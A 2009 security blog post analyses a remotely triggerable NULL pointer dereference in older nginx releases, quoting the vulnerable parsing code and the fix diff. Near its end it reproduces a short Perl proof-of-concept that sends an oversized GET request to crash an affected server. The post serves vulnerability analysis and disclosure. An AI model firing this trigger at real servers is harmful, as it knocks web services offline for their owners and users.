xorl %eax, %eax

nginx Remote NULL Pointer Dereference

with one comment

A few days ago, “zeus penguin” posted a bug report along with a PoC trigger code in FD mailing list. The bug was not affecting the latest releases of nginx web server and this is why I did not consider it such an amazing discovery. Nevertheless, it is still an interesting vulnerability affecting 0.8 branch up to 0.8.13, 0.7 branch up to 0.7.61, 0.6 up to 0.6.38, 0.5 up to 0.5.37 and finally, 0.4 up to 0.4.14. Here is the buggy code from 0.8.13 release of the popular web server:

static void
ngx_http_process_request_headers(ngx_event_t *rev)
{
    ssize_t                     n;
    ngx_int_t                   rc, rv;
    ngx_str_t                   header;
    ngx_table_elt_t            *h;
    ngx_connection_t           *c;
    ngx_http_header_t          *hh;
    ngx_http_request_t         *r;
    ngx_http_core_srv_conf_t   *cscf;
    ngx_http_core_main_conf_t  *cmcf;

    c = rev->data;
    r = c->data;
      ...
    rc = NGX_AGAIN;

    for ( ;; ) {

        if (rc == NGX_AGAIN) {
      ...
                if (rv == NGX_DECLINED) {
                    header.len = r->header_in->end - r->header_name_start;
                    header.data = r->header_name_start;

                    if (header.len > NGX_MAX_ERROR_STR - 300) {
                        header.len = NGX_MAX_ERROR_STR - 300;
                        header.data[header.len++] = '.';
                        header.data[header.len++] = '.';
                        header.data[header.len++] = '.';
                    }

                    ngx_log_error(NGX_LOG_INFO, c->log, 0,
                                  "client sent too long header line: \"%V\"",
                                  &header);
                    ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST);
                    return;
      ...
}

This seems to be just fine, however, ‘header.len’ as well as ‘header.data’ are initialized using request’s ‘header_name_start’ value which could be NULL under certain circumstances. This results in a quite controlled length parameter in the HTTP header as well as some controlled writes of ‘.’ to the calculated offsets from NULL (assuming ‘header.data’ is pointing to NULL).
The above code was found at src/http/ngx_http_request.c but the missing initialization of request’s ‘header_name_start’ member is located at src/http/ngx_http_parse.c like this:

/* gcc, icc, msvc and others compile these switches as an jump table */

ngx_int_t
ngx_http_parse_request_line(ngx_http_request_t *r, ngx_buf_t *b)
{
    u_char  c, ch, *p, *m;
    enum {
        sw_start = 0,
        sw_method,
   ...
    } state;
   ...
    state = r->state;
    hash = r->header_hash;
    i = r->lowcase_index;

    for (p = b->pos; p < b->last; p++) {
        ch = *p;

        switch (state) {

        /* first char */
        case sw_start:
            r->invalid_header = 0;

            switch (ch) {
            case CR:
                r->header_end = p;
                state = sw_header_almost_done;
                break;
            case LF:
                r->header_end = p;
                goto header_done;
            default:
                state = sw_name;
                r->header_name_start = p;

                c = lowcase[ch];

                if (c) {
                    hash = ngx_hash(0, c);
                    r->lowcase_header[0] = c;
                    i = 1;
                    break;
                }

                r->invalid_header = 1;

                break;

            }
            break;

As you can read, in case of a CR or LF, the request header’s end is updated to point to that location. However, if this is not the case, it will fall to the default case which simply initializes the header’s name beginning represented by ‘r->header_name_start’ with whatever the request contains and marks the request as invalid using the ‘r->invalid_header’ flag. Now, you might be able to spot the bug…
The only case that the ‘r->header_name_start’ is initialized correctly is the default case. Any subsequent operations on that member as for example those performed by ngx_http_process_request_headers() could result in a NULL pointer dereference. To fix this, the initialization was removed from the above default case:

                 state = sw_name;
-                r->header_name_start = p;
 
                 c = lowcase[ch];

And it was added in the beginning of the request HTTP parsing:

         /* first char */
         case sw_start:
+            r->header_name_start = p;
             r->invalid_header = 0;

Now, the PoC code released by “zeus penguin” is a simple Perl script that does the following:

#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl <hostname>\n"; 
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";

while(<$sock>) {
        print;
}

This code simply creates an HTTP GET request, requesting 4079 x “o” string from the root directory of the web server. This will result in falling to the expected CR/LF cases and then marked with ‘NGX_DECLINED’ in ngx_http_process_request_headers() because of the long header line and subsequently, to the write operations on the ‘header.data’ which was incorrectly initialized using the NULL pointer ‘r->header_name_start’.

Written by xorl

October 31, 2009 at 00:39

Posted in bugs

One Response

Subscribe to comments with RSS.

  1. Better than I can do :(

    Haroon atmaja

    November 3, 2009 at 02:31


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s